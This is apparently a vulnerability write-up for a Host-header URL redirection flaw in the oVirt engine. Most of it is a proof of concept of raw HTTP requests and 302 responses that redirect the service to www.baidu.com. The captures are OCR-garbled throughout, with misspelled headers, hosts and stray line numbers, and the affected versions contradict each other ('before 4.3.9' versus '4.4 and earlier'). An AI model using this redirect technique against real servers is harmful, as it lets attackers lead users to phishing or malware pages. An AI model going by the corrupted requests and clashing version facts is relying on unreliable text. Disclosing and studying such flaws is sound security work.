Ovirt engine URL redirection vulnerability
Vulnerability profile:
	There is a URL redirection vulnerability in ovirt.-engine before version 4.3.9.An attacker can construct malicious URL parameters to redirect users to arbitrary URLs. By using this vulnerability, users can be induced to visit a page, Mount horses, password records, download arbitrary files, etc.
Affected version:
	Ovirt engine 4.4 and earlier
Vulnerability verification:
The vulnerability may be located in multiple pages, this test is the service home page, as follows: [image: ]
The vulnerability trigger point is located in the host parameter of the header. The system will jump the page according to the parameter, and the host can be modified directly, as shown below.[image: ]
The response is [image: ]
After that, the system jumps to send the request header, and the host is our modified value [image: ]
[image: ]
Request failed, jump to www.baidu.com Error handling page. [image: ]

[image: ]
Trigger condition:
There are no restrictions
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GET /ovirt-engine/ HTTP/1.1
Host: engine. lian

User-Agent: Mozilla/s,0 (XI1; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtml+xnl, application/xml;q=0.9,*/*:q=0.8
Accept-Language: en-Us,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSTONID=8BFYscqNiZGoHBeoQBcsTySRUc_78qkpI1ndxgZ8c. engine; locale=zh_CN
Upgrade-Tnsecure-Requests: 1

Cache-Control: max-age=0
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1 GET /ovirt-engine/ HTTP/1.1

Host: ww.baidu,con
User-Agent: Mozilla/5,0 (XI1; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html, application/xhtml+xnl, application/xml;q=0.9,*/*:q=0.8
Accept-Language: en-Us,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSTONID=8BFYscqNiZGoHBeoQBcsTySRUc_78qkpI1ndxgZ8c. engine; locale=zh_CN
Upgrade-Tnsecure-Requests: 1

Cache-Control: max-age=0
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HTTP/1.1 302 Found
Date: Tue, 04 Aug 2020 07:17:22 GHT

Server: Apache/2.4.6 (Cent0s) OpensSL/1.0.2K-fips

Set-Cookie: locale=zh_CN; path=/; secure; HttpOnly: Max-Age=2147483647; Expires=Sun, 22-Aug-2088 10:31:29 GHT
X-X55-PROTECTION: 1; MODE-BLOCK

X-CONTENT-TYPE-OPTIONS: NOSNIFF

X-FRAME-OPTIONS: SAMEORIGIN

Location: https://www.baidu. con/ovirt-engine/login?scope=ovirt-exti3auths3aidentity

Content-Length: 0

Connection: close
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GET /ovirt-engine/login?scope=ovirt-exti3Dauths3Aidentity HTTP/1.1

Host: ww.baidu,con

User-Agent: Mozilla/s,0 (XI1; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtml+xnl, application/xml;q=0.9,*/*:q=0.8
Accept-Language: en-Us, en;q=0.

Accept-Encoding: gzip, deflate

Connection: close

Cookie: BATDUID=OCB4FSOAGOOEO1912CEF096730597 4T
Upgrade-Tnsecure-Requests: 1

10 Cache-Control: max-age=0

:FG=1; BIDUPSID=0CB4FSOA600EQ191110F3BFOO4FERBAS; PSTM=1587976384

12
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1 HTTP/1.1 302 Found
2 Cache-Control: max-age=86400

3 Content-Length: 222

4 Content-Type: text/html; charset=iso-8859-1
5

6

7

8

Date: Tue, 04 Aug 2020 07:17:24 GHT
Expires: Wed, 05 Aug 2020 07:17:24 GMT
Location: https://w.baidu. con/search/error . htnl
Server: Apache

9 Connection: close

11 <1DOCTYPE HTML PUBLIC *-//TETF//OTD HTHL 2.0//EN">
128 <htnl><head>

13 <title=302 Found</title>

148 </head><body>

15 <hl>Found</h1>

16 <p>The document has moved <a hre
17 </body»</htnl>

18

http: //wiw.baidu. con/search/error . htnl ">here</a>.</p>
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GET /search/error.htnl HTTP/1.1

Host: ww.baidu,con

User-Agent: Mozilla/s,0 (XI1; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtml+xnl, application/xml;q=0.9,*/*:q=0.8
Accept-Language: en-Us,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: BATDUID=OCB4FSOAGOOEO1912CEF0967305974ED: FG=1; BIDUPSID=OCBAFSOAGOOEO191110F3BFO9AFERRAS; PSTH=1587976384
Upgrade-Tnsecure-Requests: 1

If-Modified-Since: Thu, 22 Nov 2018 06:01:50 GMT

If-None-Match: *3dec-57b3agad3afe0

Cache-Control: max-age=0
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